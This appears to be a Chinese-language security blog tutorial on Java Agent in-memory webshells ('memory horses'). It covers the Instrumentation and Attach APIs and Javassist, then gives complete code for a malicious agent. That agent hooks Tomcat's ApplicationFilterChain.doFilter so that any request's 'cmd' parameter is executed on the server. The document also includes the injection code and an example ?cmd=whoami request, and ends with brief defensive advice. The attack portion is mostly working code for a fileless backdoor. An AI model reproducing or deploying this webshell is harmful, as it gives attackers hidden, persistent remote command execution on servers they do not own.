初识Java Agent内存马
字数 1415 2025-08-10 13:48:22
Java Agent内存马技术详解
一、Java Agent基础
1.1 Java Agent概述
Java Agent是基于java.lang.instrument包实现的一种技术,它允许开发者在JVM运行期间动态修改已加载或未加载的类。主要特点包括:
- 无需重新编译即可修改字节码
- 可以修改类的属性、方法等
- 有两种加载方式:启动前加载和启动后加载
1.2 核心接口和类
Instrumentation接口
java.lang.instrument.Instrumentation是Java Agent的核心接口,提供以下关键方法:
void addTransformer(ClassFileTransformer transformer); // 添加类转换器
boolean removeTransformer(ClassFileTransformer transformer); // 删除类转换器
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; // 重新定义类
boolean isModifiableClass(Class<?> theClass); // 判断类是否可修改
Class[] getAllLoadedClasses(); // 获取所有已加载的类
ClassFileTransformer接口
用于转换类文件的接口,核心方法是:
byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer);
1.3 Java Agent的两种加载方式
启动前加载(premain)
在JVM启动前加载,需要实现premain方法:
public static void premain(String agentArgs, Instrumentation inst) {
// 初始化代码
}
配置MANIFEST.MF文件:
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: com.AgentForward.Agent
启动后加载(agentmain)
在JVM运行后加载,需要实现agentmain方法:
public static void agentmain(String agentArgs, Instrumentation inst) {
// 初始化代码
}
配置MANIFEST.MF文件:
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: com.AgentBackwards.Agent
1.4 Attach API
用于在运行时连接和管理JVM进程,核心类是com.sun.tools.attach.VirtualMachine,主要方法:
static VirtualMachine attach(String id); // 连接到JVM进程
void loadAgent(String agentPath); // 加载Agent
void detach(); // 断开连接
注意:Windows系统中需要手动添加tools.jar到工程库中。
二、Javassist字节码操作
2.1 核心类介绍
ClassPool
管理和操作类字节码的容器:
ClassPool cp = ClassPool.getDefault();
CtClass
表示编译时的类,对应Java中的类:
CtClass ctClass = classPool.getCtClass("com.example.Demo");
CtMethod
表示类中的方法:
CtMethod ctMethod = ctClass.getDeclaredMethod("methodName");
2.2 方法修改技术
insertBefore
在方法体开头插入代码:
ctMethod.insertBefore("System.out.println(\"Before method\");");
insertAfter
在方法体末尾插入代码:
ctMethod.insertAfter("System.out.println(\"After method\");");
setBody
完全替换方法体:
ctMethod.setBody("{ System.out.println(\"New body\"); }");
2.3 示例:修改方法
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.javassist.Demo");
CtMethod ctMethod = ctClass.getDeclaredMethod("test");
ctMethod.insertBefore("System.out.println(\"修改成功啦\");");
ctClass.writeFile();
ctClass.toClass();
三、Agent内存马实现
3.1 目标类选择
选择org.apache.catalina.core.ApplicationFilterChain类的doFilter方法作为注入点,原因:
- 所有请求都会经过过滤器链
- 可以完全控制request和response对象
- 在Tomcat/Servlet容器中稳定存在
3.2 恶意Agent实现
Agent主类
public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new DefineTransformer(), true);
Class[] classes = ins.getAllLoadedClasses();
for (Class clas : classes) {
if (clas.getName().equals(ClassName)) {
try {
ins.retransformClasses(new Class[]{clas});
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}
Transformer实现
public class DefineTransformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/", ".");
if(className.equals(ClassName)) {
ClassPool classPool = ClassPool.getDefault();
try {
CtClass ctClass = classPool.getCtClass(className);
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
ctMethod.insertBefore(
"javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}
3.3 注入过程
-
获取目标JVM进程ID:
jps -l -
编写注入代码:
public class AgentCommand { public static void main(String[] args) throws Exception { VirtualMachine target = VirtualMachine.attach("98736"); target.loadAgent("path/to/agent.jar"); target.detach(); } } -
执行注入后,任何URL路径下都可以通过
cmd参数执行命令:http://target/path?cmd=whoami
3.4 注意事项
- 目标JVM必须包含javassist库,否则无法修改字节码
- 注入的恶意代码会保留在内存中,重启后失效
- 这种方式相比传统内存马更加隐蔽,不依赖文件系统
四、防御措施
- 禁用Attach API:在生产环境中限制Attach API的使用
- 字节码校验:实施运行时字节码校验机制
- 监控工具:使用Java Agent监控工具检测可疑的Agent加载
- 最小权限:遵循最小权限原则运行Java应用
- 代码审计:定期审计关键类的字节码修改
五、总结
Java Agent内存马技术利用Java Instrumentation机制和字节码操作技术,实现了无文件、高隐蔽性的后门植入。相比传统内存马,它具有以下特点:
- 不依赖文件系统,完全内存驻留
- 可以修改任何已加载类的行为
- 注入后难以通过常规手段检测
- 技术门槛较高,但威力强大
理解这种技术的原理和实现方式,对于防御此类高级攻击具有重要意义。